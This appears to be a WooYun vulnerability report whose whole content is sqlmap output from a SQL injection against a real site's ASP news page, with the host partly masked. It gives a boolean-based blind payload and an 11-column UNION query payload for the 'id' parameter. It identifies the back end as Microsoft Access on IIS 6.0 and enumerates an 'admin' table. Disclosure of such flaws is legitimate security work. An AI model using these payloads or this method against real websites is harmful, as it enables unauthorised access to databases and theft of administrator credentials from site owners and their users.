WooYun.org

http://**.**.**.**/newssystem/xsyt.asp?type1=&id=2896

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: type1=&id=2896 AND 8702=8702
    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: type1=&id=-6445 UNION ALL SELECT NULL,NULL,CHR(113)&CHR(98)&CHR(98)
&CHR(118)&CHR(113)&CHR(85)&CHR(67)&CHR(99)&CHR(83)&CHR(97)&CHR(75)&CHR(101)&CHR(
88)&CHR(70)&CHR(117)&CHR(113)&CHR(112)&CHR(118)&CHR(112)&CHR(113),NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[17:20:27] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[17:20:27] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[17:20:28] [WARNING] the SQL query provided does not return any output
[17:20:28] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast'
[17:20:28] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[17:20:28] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[17:20:28] [INFO] retrieved:
[17:20:33] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[17:20:33] [ERROR] cannot retrieve table names, back-end DBMS is Access
Database: Microsoft_Access_masterdb
[1 table]
+-------+
| admin |
+-------+